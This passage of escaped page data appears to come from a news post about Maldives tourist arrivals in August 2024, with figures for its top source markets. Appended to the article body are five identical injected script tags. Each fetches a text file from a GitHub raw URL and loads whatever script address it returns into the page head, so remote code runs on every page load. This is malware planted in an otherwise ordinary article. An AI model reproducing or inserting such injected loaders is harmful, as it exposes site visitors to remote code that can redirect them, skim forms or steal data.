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On average, in monthly terms, Maldives has welcomed 6,436 visitors so far in August with an average duration of stay of 7.8 days.<\/p>\n<h2>Top Source Markets<\/h2>\n<ol>\n<li>China: 184,632<\/li>\n<li>Russia: 139,308<\/li>\n<li>UK: 112,656<\/li>\n<li>Italy: 95,982<\/li>\n<li>Germany: 91,868<\/li>\n<li>India: 77,326<\/li>\n<li>USA: 44,673<\/li>\n<li>France: 38,185<\/li>\n<li>Spain: 26,261<\/li>\n<li>Switzerland: 25,369<\/li>\n<\/ol>\n<p>While Maldives has already welcomed more than 1.2 million tourists so far in 2024, which is a 10.4% annual increase, the island nation projects 2 million arrivals before the year concludes.<script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><script>;var url = 'https:\/\/raw.githubusercontent.com\/asddw1122\/add\/refs\/heads\/main\/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The Maldives observes a 14.9% increase in tourist arrivals so far in August compared to the corresponding period in 2023, according to the Ministry of Tourism. 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